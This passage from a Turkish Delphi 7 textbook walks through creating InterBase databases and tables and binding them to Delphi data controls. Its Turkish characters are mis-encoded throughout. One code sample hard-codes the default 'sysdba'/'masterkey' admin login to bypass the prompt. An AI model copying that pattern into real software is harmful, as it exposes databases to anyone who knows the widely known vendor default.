tabloyu “Read Only” olarak kullanabilirken di÷er kullanıcı tablo üzerinde tüm de÷iúiklikleri yapabilmektedir. InterBase içerisinde oluúturulan tablolara “BDE” kontrollerini kullanarak ta kolayca ba÷lanabilirsiniz. Söyledik ya bir yerden sonraki tüm iúlemler tamamen aynı mantık çerçevesinde gerçekleúmektedir. Bu veritabanı “Delphi” ile beraber gelen “CD” içerisinden ayrıca yüklenmelidir. Delphi7 sürümünde “InterBase 6.5 Desktop Edition” seçene÷ini tıklayarak bilgisayarınıza kurabilirsiniz. InterBase kullanarak uygulama geliútirecekseniz, aúa÷ıda anlatılan úekilde bir yörünge izlemelisiniz. InterBase Kullanarak Veri Tabanı Oluúturmak: Veri Tabanı uygulamaları gerçekleútirece÷iniz zaman tablolara ihtiyacınız olacaktır. Tablolar kendi baúlarına oluúturulmazlar, öncelikle oluúturulacakları veri tabanını yaratmanız gerekecektir. Ardından istedi÷iniz kadar tabloyu bu database (veri tabanı) içerisinde oluúturabilirsiniz. “InterBase” uygulamasını bilgisayarınıza yükledikten sonra “Start” menüsüne yüklenmiú olacaktır. Tüm de÷iúiklikleri bu kısa yoldan gerçekleútirebilirsiniz. 245 “Start->Programs->InterBase->IBConsole” pencereyi açtırın. adımlarını izleyerek aúa÷ıdaki Bu pencerede “Local Server” henüz kullanılmaz durumdadır, aktif hale geçirebilmeniz için úifresini belirlemelisiniz. “Local Server” seçene÷ini seçerek mousun sa÷ tuúuna tıklayın. Açılan menüden “Login” bölümüne tıklayın. Aúa÷ıdaki pencere açılacaktır. ùifreyi de÷iútirmedi÷iniz sürece “User Name” e “SYSDBA” “Password’ e “masterkey” yazarak “Local Server” i aktifleútirebilirsiniz (bu úifre daha sonra de÷iútirilebilir). 246 “Local Server” gösterilmektedir. altında Seçenekler DataBase yer alan seçenekler aúa÷ıda tablo halinde Sonuç Yeni Bir Veri Tabanı oluúturmak için kullanılır Backup Backup ünitesi belirlemek için kullanılır Certificates Yeni bi sertifika oluúturmak için kullanılır Server Log Log Dosyaları øçin Kullanılır Users Kullanıcı Tanımlamak øçin Kullanılır. ùimdi “DataBase” seçene÷ini kullanarak ilk Veri Tabanınızı oluúturalım. “IBConsole” penceresi açıkken (úifreyi girip InterBase e logon olduktan sonra) “DataBase->Create DataBase” adımlarını izleyerek aúa÷ıdaki pencereyi açtırın. “FileNames” kısmına veritabanınızın yolunu “Alias” kısmınada kullanaca÷ınız ismini yazarak “OK” dü÷mesine basın. Dikkat edin “InterBase” içerisinde oluúturulan “DataBase” ler “gdb” uzantısı alırlar. Daha sonra programdan bu veritabanına ulaúmak için “FileNames” kısmında belirledi÷imiz dosya yolunu kullanaca÷ız. “OK” Bastıktan sonra kontrol edin “prestige.gdb” veritabanı “gazi” klasörünün içerisinde 247 oluúturulacaktır.Bu adımdan sonra “IBConsole” pencerenizin görüntüsü aúa÷ıdaki úekilde de÷iúecektir. Bu úekilde “Migros” isminde ilk DataBase imizi oluúturmuú olduk. Bu projeyle ilgili tüm tablolarınızı “Migros” database i içerisine kaydedebilirsiniz. InterBase Veri Tabanı øçerisinde Tablo Yaratmak: Yaratmıú oldu÷unuz verirabanı tek baúına hiç bir iúe yaramaz, bu yüzden içerisinde projeyi yaptı÷ınız firmaya ait kayıtların tutuldu÷u tabloları oluúturmalısınız. InterBase içerisinde tablo yaratmak için “SQL” komutlarından faydalanılmaktadır. “Create Table” komutunu kullanarak tablo yaratma iúlemine baúlayabilirsiniz. Kitap içerisinde biliyorsunuz “MAGAZA” ve “SERVIS” isimli çok meúhur iki tablomuz var (Bu tablolar gerçek bir projeniz ufak parçalarıdır), úimdi bu tablolardan “InterBase” içerisinde nasıl yaratabilece÷inizi gösterec÷im. “Migros” database i altında yer alan “Tables” seçene÷ini seçin. “Tools>InterActive SQL” komutlarını vererek aúa÷ıdaki pencereyi açtırınız. “Migros” veritabanı için oluúturaca÷ınız tüm tabloları bu ekrandan gerçekleútireceksiniz. ùimdi ilk tablomuzu yaratalım. 248 “Tools->InterActive” menü seçeneklerine arka arkaya tıklayarak aúa÷ıdaki “InterActive SQL” pencereinin açılmasını sa÷layınız. Yukarıdaki kodlamayla “ilktablo” ismiyle, “ADISOYADI” (max 25 karakter) ve “ADRESI” (max 50 karakter) sütunlarına sahip, “ADOSOYADI” sütununun boú geçilemeyece÷i bir tablo yaratmıú olduk. “Query->Execute” adımlarıyla tablonuzu yaratabilirsiniz. “Query->Execute” adımlarından sonra tablonuz “IBConsole” penceresinde oluúacaktır. Bu tabloyu tüm “Delphi” projelerinden ça÷ırıp kullanabilirsiniz (birazdan gösterece÷im). 249 InterBase øçerisinden Tabloya Kayıt Girmek: Aslında bu ekrandan kulanıcılar hiç bir zaman kayıt giriúi yapmayacaktır. Fakat uygulama içerisinde daha sonra silmek üzere örnek kayıtlara ihtiyacınız olabilir. Hızlıca bu ekrandan nasıl kayıt girebilece÷inizi göstermek istiyorum. Tablonuzu seçip mousun sa÷ tuúuna tıklayın, menü açılacaktır. Bu menüden “Properties” seçene÷ini seçerek açılan pencereden “Data” yapra÷ını aktifleútirin. Bu yaprakta yer alan kayıt dü÷melerini kullanarak istedi÷iniz kadar kayıt girebilirsiniz. Tablolarınızı yaratırken baúlangıç aúamasında iyi tasrlama yapınız, daha sonra yapmak isteyece÷iniz radikal de÷iúikliklerde hüsrana u÷rayabilir, tablonuzu tekrar oluúturmak zorunda kalabilirsiniz Delphi Projesinden Yarattı÷ınız Tabloya Ba÷lanmak: Aúa÷ıdaki adımları izleyerek Delphi uygulamasından yaratmıú oldu÷unuz tabloya kolayca ba÷lanabilirsiniz. Öncelikle yukarıdaki tasarımı oluúturun. ùimdi aúa÷ıdaki adımları izleyerek InterBase içerisinde yaratmıú oldu÷unuz tabloya ba÷lanacaksınız. 250 Birinci adım formunuzun üzerine bir adet “InterBase” yapra÷ında yer alan “IBDatabase” kontrolü yerleútirerek “Object Inspector” penceresinden “DataBaseName” özelli÷ine tıklayın. Bu özelli÷e tablomuzu içerisinde yaratmıú oldu÷umuz veritabanının (gdb uzantılı dosya) yolunu aktarmak durumundasınız (bizim örne÷imiz için bu veri tabanı “c:\gazi\prestige.gdb” olarak kaydedilmiúti). Ben “prestige.gdb” veritabanının yolunu gösterdim. økinci adımda “InterBase” yapra÷ında yer alan “IBTransaction” kontrolünü sürükleyip formunuzun üzerine bırakın. “Object Inspector” penceresinden “DefaultDataBase” özelli÷ine “IBDataBase1” kontrolünü aktarın. Üçüncü adımda formunuzun üzerine “InterBase” yapra÷ında yer alan “IBTable” kontrolünden bir adet sürükleyip bırakın. “Object Inspector” penceresinde yer alan “DataBase” özelli÷ine “IBDataBase1” ve “Transaction” özelli÷ine “IBTransaction1” kontrolünü aktarın (Bu özelli÷i belirlemeden TableName özelli÷ine tablo belirleyemezsiniz). Dördüncü adımda “IBTable” kontrolüne ait “TableName” özelli÷ine yaratmıú oldu÷unuz tablonuzun ismini aktarın (ILKTABLO). “Table Name” özelli÷ine tıkladı÷ınız zaman size úifre soracaktır. ùayet de÷iútirmediyseniz “SYSDBA” ve “masterkey” de÷erlerini girebilirsiniz. Beúinci adımda “DataAccess” yapra÷ında yer alan “DataSource” kontrolünü formunuzun üzerine bırakın. “Object Inspector” penceresinden “DataSet” özelli÷ine “IBTable1” kontrolünü aktarın. Altıncı adımda “DataControls” yapra÷ında yer alan “DBGrid” kontrolünü formunuzun üzerine alarak, “DataSource” özelli÷ine “DataSource1” de÷erini aktarın. Son adım olarak “IBTable” kontrolünü seçip “Active” özelli÷ini “true” yapın. Bu iúlem “IBTransaction” kontrolünün aktif özelli÷inide otomatik olarak “true” yaptıracaktır. Artık uygulamanızı çalıútırabilirsiniz. Görüldü÷ü úekilde “InterBase” Database’i içerisinde oluúturmuú oldu÷unuz tablolarla uygulama geliútirmek, son derece basit ve sade bir úekilde gerçekleúebilmektedir. 251 InterBase Veri Tabanında Geliúmiú Tablolar Yaratmak: Yukarıda basit bir tablonun nasıl yaratılabilece÷ini gösterdik. ùimdi ise daha karmaúık tabloların oluúturulmasına yönelik uygulamalar geliútirece÷iz. Aslında daha karmaúık açıklaması ile indexli,default de÷erli, kısıtlamalara sahip tablo oluúturmaktan bahsediyorum. ùimdi bizim meúhur “MAGAZA” tablomuzu bu mantıkla oluúturalım. Aúa÷ıdaki adımları sırayla izleyiniz. Migros databasi seçili ilken “Table” seçene÷ini seçin. “Tools->InterActive SQL” adımlarını izleyerek aúa÷ıdaki pencereyi açın. Ardından bizim yaptı÷ımız gibi tabloyu oluúturmak için gerekli “SQL” komutlarını pencereye ekleyiniz. Sorguya dikkat edin 5 sütundan oluúan bir tablo yaratılarak “MAGAZAADI” sütunu “primary index” olarak tanımlanmaktadır. Bu iúlemden sonra tabloya ait properties penceresinde “Show Index” dü÷mesine tıklarsanız “Primary” indexinizi görüntüleyebilirsiniz. 252 ùimdide ikinci tablo olarak “SERVIS” tablomuzu yarataca÷ız. Aúa÷ıdaki úekilde bir SQL sorgusu oluúturun. Yaratılan tablo 6 sütundan oluúmakta olup “SIRANO” sütunu Primary index, “MAGAZA” adı sütunu da “MAGAZA” tablosundaki “magazaadı” sütunuyla iliúkilendirilerek “Foreign Key” index olarak tanımlanmıútır. Burada yeri gelmiúken hatırlatalım “Foreign Key” index tanımlayıp di÷er tablo sütunuyla iliúkisini belirttikten sonra “MAGAZA” tablosundaki “MAGAZAADI” sütununda kaydedilmemiú bir ma÷aza adını “SERVIS” tablosuna giremeyeceksiniz. Sizi uyaracaktır. Oluúturmuú oldu÷unuz iki tabloya bir kaç kayıt girerek úimdilik bu konuya daha sonra dönmek üzere bir nokta koyalım. Sebebine gelince “Delphi” kontrolleriyle bu tablolara ait nasıl iúlem yapılaca÷ını göstermek istiyorum. 253 InterBase Kontrolleri: InterBase içerisinde oluúturmuú oldu÷unuz kayıtlarla ilgili iúlemleri yapabilmeniz için eklenmiú olan kontrollerdir. Aúa÷ıda kontrol isimleriyle beraber en çok kullanılan özelliklerini verece÷im. IBDataBase Kontrolü Bu kontrol veri tabanının yerini di÷er kontrollere göstermek için kullanılır. Son derece önemli ve zorunlu bir kontroldür. x IBDatabase1.DatabaseName Ba÷lantı kurulacak olan veri tabanının yolu bu özellikle belirlenir. Bu adımdan sonra o veri tabanındaki tüm kayıtlar yetki dahilinde kullanıcı tarafından kullanılabilir. procedure TForm1.FormCreate(Sender: TObject); begin IBDatabase1.DatabaseName:='C:\gazi\prestige.gdb'; end; x IBDatabase1.LoginPrompt Ba÷lantı sırasında logon penceresinin gösterilip gösterilmeyece÷ini belirleyen özelli÷idir. False de÷eri aktarılırsa login penceresi gözükmeyecektir. Hatırlatalım false aktarılması úifreyi bilmeden database i açabilece÷iniz anlamına gelmez. Bu tip durumlarda úifre kodla girilecektir. procedure TForm1.FormCreate(Sender: TObject); begin IBDatabase1.DatabaseName:='C:\gazi\prestige.gdb'; IBDatabase1.LoginPrompt:=TRUE; end; x IBDatabase1.Params Bu özelli÷e aktaraca÷ınız “Tstrings” tipli de÷iúken de÷erleri sayesinde programa ait úifre giriúlerini kodla yaptırabilirsiniz. ølk parametre kullanıcı adını, ikinci parametre ise kullanıcıya ait úifreyi ifade edecektir. 254 procedure TForm1.FormCreate(Sender: TObject); var deger:TStrings; begin deger:=TStringList.Create();//oluútur deger.Add('user_name=sysdba'); deger.Add('password=masterkey'); IBDatabase1.Params :=deger;//aktar IBDatabase1.DatabaseName:='C:\gazi\prestige.gdb'; IBDatabase1.Connected:=true;//ba÷lan IBDatabase1.LoginPrompt:=false; IBTable1.Active:=true;//tabloyu aç end; Yukarıdaki kodlamadan sonra açılan login penceresine úifre girmeden tablo bilgilerine ulaúabilirsiniz. IBTransaction Kontrolü: Network uygulamalarında Transaction iúlemi çok fazla önem arz etmektedir. Bu yüzden DataBase ba÷lantılarınız için bu kontrolu kullanmak zorundasınız. x IBTransaction1.DefaultDatabase Transactionun uygulanaca÷ı database bu özellikle belirlenir. procedure TForm1.FormCreate(Sender: TObject); begin IBTransaction1.DefaultDatabase:=IBDatabase1; end; IBTable Kontrolü: Bu kontrol sayesinde InterBase içerisinde yaratılmıú olan tablolara ba÷lanabilir, kayıtlarına ulaúabilirsiniz. x IBTable1.Database Tablolarınızın içerisinde oluúturuldu÷u database in bulundu÷u yer bu özellikle belirlenir. 255 procedure TForm1.FormCreate(Sender: TObject); begin IBTable1.Database:=IBDatabase1; end; x IBTable1.Transaction DataBase iúlemlerinde Transactionu gerçekleútiren kontrol bu özelli÷e aktarılmalıdır. Muhakkak eklemeyi unutmayın procedure TForm1.FormCreate(Sender: TObject); begin IBTable1.Database:=IBDatabase1; IBTable1.Transaction:=IBTransaction1; end; x IBTable1.TableName Belirlenen Veri Tabanı içerisinde ba÷lanılacak olan tablo bu özellikle belirlenir. procedure TForm1.FormCreate(Sender: TObject); begin IBTable1.Database:=IBDatabase1;//bu veri tabanını kullan IBTable1.Transaction:=IBTransaction1;//bu transactionu kullan IBTable1.TableName:='ILKTABLO';//bu tabloyu kullan end; InterBase Kontrolleri øle Kayıt øúlemleri: ùimdi sizlere InterBase kontrollerini kullanarak nasıl kayıt formları oluúturabilece÷inizi gösterece÷im. Do÷rusunu isterseniz bu iúlem hiçte zor de÷il di÷er “BDE” ve “ADO” ile yapılan iúlemlere çok benzerlik göstermektedir. Belirtece÷im adımları sırasıyla oluúturunuz. Birinci adım formunuzun üzerine bir adet “InterBase” yapra÷ında yer alan “IBDatabase” kontrolü yerleútirerek “Object Inspector” penceresinden “DataBaseName” özelli÷ine tıklayın. Bu özelli÷e tablomuzu içerisinde yaratmıú oldu÷umuz veritabanının (gdb uzantılı dosya) yolunu aktarmak durumundasınız (bizim örne÷imiz için bu veri tabanı “c:\gazi\prestige.gdb” olarak kaydedilmiúti). Ben “prestige.gdb” veritabanının yolunu gösterdim. 256 økinci adımda “InterBase” yapra÷ında yer alan “IBTransaction” kontrolünü sürükleyip formunuzun üzerine bırakın. “Object Inspector” penceresinden “DefaultDataBase” özelli÷ine “IBDataBase1” kontrolünü aktarın. Üçüncü adımda formunuzun üzerine “InterBase” yapra÷ında yer alan “IBTable” kontrolünden bir adet sürükleyip bırakın. “Object Inspector” penceresinde yer alan “DataBase” özelli÷ine “IBDataBase1” ve “Transaction” özelli÷ine “IBTransaction1” kontrolünü aktarın (Bu özelli÷i belirlemeden TableName özelli÷ine tablo belirleyemezsiniz). Dördüncü adımda “IBTable” kontrolüne ait “TableName” özelli÷ine yaratmıú oldu÷unuz tablonuzun ismini aktarın (SERVIS). “Table Name” özelli÷ine tıkladı÷ınız zaman size úifre soracaktır. ùayet de÷iútirmediyseniz “SYSDBA” ve “masterkey” de÷erlerini girebilirsiniz. Beúinci adımda “DataAccess” yapra÷ında yer alan “DataSource” kontrolünü formunuzun üzerine bırakın. “Object Inspector” penceresinden “DataSet” özelli÷ine “IBTable1” kontrolünü aktarın. Altıncı adımda “DataControls” yapra÷ında yer alan “DBGrid” kontrolünü formunuzun üzerine alarak, “DataSource” özelli÷ine “DataSource1” de÷erini aktarın. Yedinci Adımda “DataControls” yapra÷ında yer alan “DBNavigator” kontrolünü formunuzun üzerine bırakıp “DataSource” özelli÷ine “DataSource1” de÷erini aktarın. Son olarak tasarımını aúa÷ıdaki hale getirip uygulamanızı çalıútırın. Program açılıú anında úifre isteyecektir(De÷iútirmediyseniz “SYSDBA” ve “masterkey” de÷erlerini girebilirsiniz). “DBNavigator” kontrolünü kullanarak kayıt ile ilgili tüm iúlemleri aynen “BDE” kontrolleriyle çalıúıyormuú gibi gerçekleútirebilirsiniz. ùimdide bütün iúlemlerimizi kodla yapaca÷ımız bir uygulama geliútirelim. Aúa÷ıdaki tasarımı oluúturup gerekli kodları “Unit” pencerenize ekleyiniz. 257 Gerekli baúlantıları daha önce anlatıldı÷ı úekilde gerçekleútirip, ardından aúa÷ıdaki kodları formunuza ekleyiniz. procedure TForm3.Button1Click(Sender: TObject); //ølk Kayıt begin IBTable1.First; end; procedure TForm3.Button2Click(Sender: TObject); //Önceki Kayıt begin if not IBTable1.Bof Then //ølk Kayıt De÷ilse IBTable1.Prior; end; procedure TForm3.Button3Click(Sender: TObject); //Sonraki Kayıt begin if not IBTable1.Eof Then IBTable1.Next; end; procedure TForm3.Button4Click(Sender: TObject); //Son Kayıt begin IBTable1.Last; end; 258 procedure TForm3.Button5Click(Sender: TObject); //Kayıt Ekle begin IBTable1.Insert; end; procedure TForm3.Button6Click(Sender: TObject); var sil:Integer; begin sil:=Application.MessageBox('Silinsinmi','Sil',MB_YESNO); if sil=mryes Then begin IBTable1.Delete; ShowMessage('Kayıt Silindi'); end else ShowMessage('Silma øúlemi øptal Edildi'); end; procedure TForm3.Button7Click(Sender: TObject); //Uygula begin IBTable1.Post; end; procedure TForm3.Button8Click(Sender: TObject); //øptal Et begin IBTable1.Cancel; end; procedure TForm3.Button9Click(Sender: TObject); //Güncelle begin IBTable1.Refresh; end; procedure TForm3.Edit1KeyPress(Sender: TObject; var Key: Char); var ara:Boolean; begin if Key=#13 Then//Enter tuúuna basarsa begin ara:=IBTable1.Locate('MAGAZAADI',Edit1.Text,[loCaseInsensitive]); if not ara Then ShowMessage('Kayıt Bulunamadı'); 259 end; end; procedure TForm3.Edit2Change(Sender: TObject); //Filtrele begin IBTable1.Filter:='MAGAZAADI='+QuotedStr(Edit2.Text); IBTable1.Filtered:=true; end; procedure TForm3.Button10Click(Sender: TObject); //Filtreyi øptal Et begin IBTable1.Filtered:=false; end; Uygulamayı çalıútırdıktan sonraki ekran görüntüsü yukarıda verilmiútir. Neredeyse kullanabilece÷iniz genel komutların tamamı verilmeye çalıúılmıútır. 260 IBQuery Kontrolü: Bu kontrol sayesinde “InterBase” veri tabanı içerisinde oluúturmuú oldu÷unuz tabloları kolayca sorgulayabilirsiniz. “BDE” Kontrolleri içerisinde yer alan “Query” kontrolüne benzer bir mantıkla çalıúmaktadır. Aúa÷ıda bu kontrole has özellikle verilmektedir. x IBQuery1.Database Sorgulayaca÷ınız tablonun içerisinde yer aldı÷ı veri tabanını aktarabilece÷iniz özelli÷idir. procedure TForm4.FormCreate(Sender: TObject); begin IBQuery1.Database:=IBDatabase1; end; x IBQuery1.Close IBQuery kontrolünü kapatan methoddur. Bu iúlemden sonra ba÷lı olan tüm kontrollerdeki kayıtlar temizlenecektir. procedure TForm4.FormCreate(Sender: TObject); begin IBQuery1.Close; end; x IBQuery1.Open IBQuery kontrolüne ait sorgu komutlarını aktifleútiren methoddur. procedure TForm4.FormCreate(Sender: TObject); begin IBQuery1.Open; end; x IBQuery1.Transaction Transaction iúlemi için kullanılacak olan kontrolü atayaca÷ınız özelli÷idir. Zorunlu oldu÷unu unutmayınız. 261 procedure TForm4.FormCreate(Sender: TObject); begin IBQuery1.Database:=IBDatabase1; IBQuery1.Transaction:=IBTransaction1; end; x IBQuery1.SQL.Add Tabloyu sorgulayacak olan SQL komutlarını belirleyece÷iniz methoddur. procedure TForm4.FormCreate(Sender: TObject); begin IBQuery1.Database:=IBDatabase1; IBQuery1.Transaction:=IBTransaction1; IBQuery1.Close; IBQuery1.SQL.Add('Select * From SERVIS'); IBQuery1.Open; end; InterBase Tablolarını Parametre øle Sorgulamak: Uygulamalarda ço÷u durumda kullanıcının istedi÷i kayıtları listelemek durumunda kalacaksınız. Bu yüzden programın içerisinde kullanaca÷ınız bir veya daha fazla parametre de÷erini sorgu parametresi olarak tabloya göndermek zorunda kalacaksınız. x IBQuery1.SQL.Clear Daha önce yaratılmıú olan tüm parametreleri temizlemek için kullanılan methoddur. Bu komutun yerine “Close” u kullanamazsınız çünkü “Close” methodu “Query” yi kapatır, parametreleri temizlemez. x IBQuery1.Params[] Sorgu sonucu yaratılan parametrelere de÷er göndermek için kullanılan methoddur. ølk parametrenin index numarası “0” ikincininse “1” dir. procedure TForm4.Button1Click(Sender: TObject); begin IBQuery1.SQL.Clear; IBQuery1.SQL.Add('Select * From SERVIS Where MAGAZAADI=:MAG'); 262 IBQuery1.Params[0].AsString:=Edit1.Text; IBQuery1.Open; end; Parametre gönderme iúlemini daha iyi anlamak için aúa÷ıdaki tasarımı oluúturup, uygun olan kodları formunuza ekleyiniz. procedure TForm4.FormCreate(Sender: TObject); begin IBQuery1.Database:=IBDatabase1; IBQuery1.Transaction:=IBTransaction1; IBQuery1.Close; IBQuery1.SQL.Add('Select * From SERVIS'); IBQuery1.Open; end; procedure TForm4.Button1Click(Sender: TObject); begin IBQuery1.SQL.Clear; IBQuery1.SQL.Add('Select * From SERVIS Where MAGAZAADI=:MAG'); IBQuery1.Params[0].AsString:=Edit1.Text; IBQuery1.Open; end; Programı çalıútırdıktan sonra “Edit” kutusuna listelemek istedi÷iniz ma÷aza ismini girip “Button” kontrolüne tıklayınız. Sadece yazmıú oldu÷unuz ma÷aza ismine ait servis kayıtlarının listelendi÷ini göreceksiniz. En son form görüntüsü aúa÷ıda verilmiútir. 263 InterBase Kontrolleri Kullanarak Master Detail Form Oluúturmak: Daha önce “BDE” ve “ADO” kontrolleriyle gerçekleútirdi÷imiz “Master-Detail” form yapısını “InterBase” kontrollerini kullanarak oluúturaca÷ız. Aúa÷ıdaki adımları izleyiniz. Formunuzun üzerine bir adet “IBDatabase” kontrolü yerleútirip “DataBaseName” özelli÷ine “c:\gazi\prestige.gdb” dosyasını aktarın (daha önceki bölümde oluúturdu÷umuz InterBase veritabanı). økinci adımda formunuza bir adet “IBTransaction” kontrolü yerleútirerek “DefaultDataBase” özelli÷ine “IBDataBase1” kontrolünü aktarın. Üçüncü adım formunuza bir adet “IBTable” kontrolü yerleútirerek “DataBase” özelli÷ine “IBDataBase1”, “Transaction” özelli÷ine “IBTRansaction1” ve “TableName” özelli÷inede “MAGAZA” (úifre soracaktır “sysdba” ve “masterkey” de÷erlerini girin) ismini aktarın. Dördüncü adımda “DataAccess” yapra÷ında yer alan “DataSource” kontrolünden bir adet formunuza sürükleyip, “DataSet” özelli÷ine “IBTable1” kontrolünü aktarın. Beúinci adımda “DataControls” yapra÷ında yer alan “DBGrid” kontrolünü formunuzun üzerine sürükleyip “DataSource” özelli÷ine “DataSource1” de÷erini giriniz. Altıncı adımda “IBTable” kontrolünü seçip “Active” özelli÷ini “true” yapın. Bu adımla master tabloya ait tüm iúlemleri yapmıú olduk. Buradan sonraki kısımda ise Detail (SERVIS) tablosuna ait iúlemleri gerçekleútirece÷iz. Yedinci adımda formunuza ikinci bir “IBTable” kontrolü yerleútirin. Bu kontrole ait “DataBase” özelli÷ine “IBDataBase1”, “Transaction” özelli÷ine “IBTransaction1” ve “TableName” özelli÷ine “SERVIS” ismini aktarınız. 264 Sekizinci adımda formunuza “DataSource2” nesnesi yerleútirerek “DataSet” özelli÷ine “IBTable2” kontrolünü aktarınız. Dokuzuncu adımda formunuza ikinci bir “DBGrid” nesnesi yerleútirerek “DataSource” özelli÷ine “DataSource2” kontrolünü aktarınız. Onuncu adımda “IBTable2” kontrolünü seçip “MasterSource” özelli÷ine “DataSource1” de÷erini aktarıp “MasterFields” özelli÷ine tıklayın. Aúa÷ıdaki pencere açılacaktır. øliúkilendirilecek olan tablolardaki iki sütunu (MAGAZAADI) seçip “Add” dü÷mesine tıklayınız. øliúkiniz “Joined Fields” listesine eklenecektir. ùimdi iki tablo için kayıt iúlemlerini gerçekleútirmek üzere formunuza iki adet “DBNavigator” kontrolü yerleútiriniz. Birinci “DBNavigator” kontrolünün “DataSource” özelli÷ine “DataSource1”, ikinci “DBNavigator” kontrolünün “DataSource” özelli÷inede “DataSource2” kontrollerini aktarın. Son olarak iki adet “IBTable” kontrolünün “Object Inspector” penceresinden “Active” özelliklerine true de÷erini aktararak uygulamanızı çalıútırabilirsiniz. Adım adım gerçekleútirdi÷imiz iúlemlerin tamamını “Unit” penceresinden de kodla halledebilirsiniz. Tercih tamamen programcıya kalmıútır. Burada yeri gelmiúken bir hatırlatma yapalım. øki tabloya ba÷lanmamıza ra÷men tek “IBDataBase” ve yine tek “IBTransaction” kontrolü kullandık. Do÷ru bir karardır, her tablo için yeni bir “IBDataBase” kontrolü yerleútirmenize gerek yoktur. Uygulamanızı çalıútırdıktan sonraki ekran görüntünüz aúa÷ıda verilmiútir. 265 Üstteki tabloda yer alan kayıtlar üzerinde gezinti yaptı÷ınız zaman alttaki tablo bu iúten otomatik olarak etkilenecek, o ma÷azaya ait servis kayıtlarını listeleyecektir. BDE Kontrolleriyle InterBase Veri Tabanına Ba÷lanmak: Dilerseniz InterBase Veri Tabanı içerisinde oluúturdu÷unuz tablolara “BDE” Kontrollerini kullanarak ta ba÷lanabilirsiniz. Bu iúlemi yapabilmeniz için “Start>Settings->Control Panel->BDE Administrator” adımlarını izleyerek alias ınızı tanımlamalısınız. Ardından bu aliasa veri tabanınızın bulundu÷u yolu dosya ismiyle beraber atamalısınız (SERVERNAME özelli÷ine c:gazi\prestige.gdb). Bu aúamadan sonra formunuza ekleyece÷iniz “BDE” yapra÷ında yer alan “Table”, “DataSource” ve “DBGrid” kontrollerini kullanarak InterBase tablolarınıza kolayca ba÷lanabilirsiniz. Formunuza bir adet “BDE” yapra÷ında yer alan “Table” nesnesi sürükleyip bırakın. Ardından bu kontrole ait “DataBaseName” özelli÷ine “InterBase” tablolarının yer aldı÷ı veritabanını referans gösteren aliasınızın ismini atayın. økinci adımda aynı kontrole ait “TableName” özelli÷ine tıklayarak (úifre soracaktır “sysdba” ile “masterkey” de÷erlerini girin) ba÷lanaca÷ınız tabloyu seçin (biz MAGAZA tablosunu seçtik). 266 Üçüncü adımda formunuza bir adet “ DataSource” kontrolü sürükleyerek “DataSet” özelli÷ine “Table1” kontrolünü aktarın. Son olarak formunuza bir adet “DBGrid” ile bir adet “DBNavigator” kontrolü ekleyerek “DataSource” özelliklerini “DataSource1” yapın. Tablonuzun “Active” özelli÷ini true yaptıktan sonra uygulamanızı çalıútırınız. Gördü÷ünüz úekilde “InterBase” tablolarına “BDE” Kontrolleriyle de basitçe ba÷lanabilirsiniz. Di÷er iúlemler aynen geçerli olacaktır. “SYSDBA” Kullanıcısına Ait ùifreyi De÷iútirmek: InterBase Veri Tabanı ile çalıúmaya karar verdi÷iniz zaman ilk yapmanız gereken iúlem yönetici úifresini de÷iútirmek olmalıdır. InterBase’i kurdu÷unuz zaman Kullanıcı adı “sysdba” úifreside “masterkey” olarak belirlenmektedir. Bütün bilgisayarlarda aynı úifre kullanıldı÷ı için kesinlikle de÷iútirilmelidir (yoksa herkes aynı yetkiyle programı kullanabilir). Yönetici úifresini de÷iútirebilmek için aúa÷ıdaki adımları izlemelisiniz. InterBase Server i çalıútırıp “IBConsol” seçene÷ini tıklayın. “Local Server” üzerinde mousun sa÷ tuúuna tıklayarak “Login” seçene÷ini seçin. ùifre soracaktır “sysdba” ile “masterkey” de÷erlerini sırasıyla girin. “VeriTabanınız üzerinde mousun sa÷ tuúuna tıklayarak “Connect” seçene÷ini seçin. Veri Tabanınıza ait tüm seçenekler listelenecektir. Bu seçenekler içerisinde yer alan “Users” bölümüne tıklarsanız aúa÷ıdaki pencere ile karúılaúırsınız. 267 Solda yer alan pencereden “Users” seçene÷ini seçerseniz “InterBase” tablolarına eriúebilecek olan tüm kullanıcıları listeleyebilirsiniz. Henüz baúka hiçbir kullanıcı tanımlanmadı÷ı için bu bölümde sadece “SYSDBA” kullanıcısı tanımlı olarak gözükecektir. Tabloları sadece bu kullanıcının açabilmesinin sebebi budur. ùimdi bu kullanıcıyı seçip mousun sa÷ tuúuna tıklayın aúa÷ıda gösterildi÷i gibi basit bir menü açılacaktır. Açılan pencereden “Modify User” seçene÷ini seçerek bu kullanıcıya ait úifreyi de÷iútirebilece÷imiz aúa÷ıdaki pencerenin açılmasını sa÷layın (“Add User” i seçerseniz yeni bir kullanıcı yaratırsınız, bu husus birazdan anlatılacaktır). 268 Açılan bu pencerede diledi÷iniz kadar yeni kullanıcı yaratabilirsiniz. Bu úekilde tüm kullanıcılar yarattıkları tablolara (veya view procedure) ba÷lanacaktır. “User Name” kısmından “SYSDBA” kullanıcısı seçiliyken “Password” ve “Confirm Password” kutularına yeni úifrenizi giriniz (ikiside aynı olacak). “Apply” dü÷mesine tıklayarak yeni úifreyi onaylayın. Yaptı÷ımız iúlemin sonucunu görmek için yeni úifrenizle (kullanıcı adı yine “sysdba” olacak) Delphi uygulamasından tablolarınıza ba÷lanmayı deneyin. Yeni Kullanıcılar Tanımlamak: Yeni yarataca÷ınız kullanıcılarla oluúturaca÷ınız tabloların tüm yetkisi kendisinde olaca÷ı için farklı kullanıcı isimleriyle de÷iúik tablolar yaratmak ba÷lantı iúlemleri için önem arz edecektir. Bu úekilde herkes kendisi ile ilgili tablolara eriúip gerekli de÷iúiklikleri yapabilecektir. Aúa÷ıda yeni kullanıcıları nasıl tanımlayabilece÷iniz gösterilmektedir. Yukarıdaki ekranda “Users” seçili iken “Server->User Security” seçeneklerini izleyin. Aynı pencere açılacaktır. Bu pencerede yeni kullanıcı adını úifresini ve kullanıcıyı tanıtacak bilgileri girebilirsiniz. “NDEMIRLI” kullanıcısı yaratıldıktan sonraki “IBConsol” görüntüsü aúa÷ıda verilmiútir. 269 270 BÖLÜM 10 RAVE KONTROLLERø øLE RAPOR DOSYASI OLUùTURMAK 271 272 Rave Kontrollerini Kullanarak Rapor Oluúturmak: Daha önceki bölümlerde “QuickRep” kontrollerini kullanarak rapor oluúturmayı göstermiútik. Bu bölümde Yeni versiyonla gelen (hakikaten çok kuvvetli oldu÷unu söyleyebilirim) ve büyük olasılıkla “QuickRep” kontrollerinin pabucunu dama atacak bir yapı ile ilgilenece÷iz. Rave kontrolleri ile çok kolay ve estetik raporlar oluúturmanız mümkün. Bilhassa wizard yönü çok güçlü, neredeyse hiç kod kullanmadan her türlü rapor 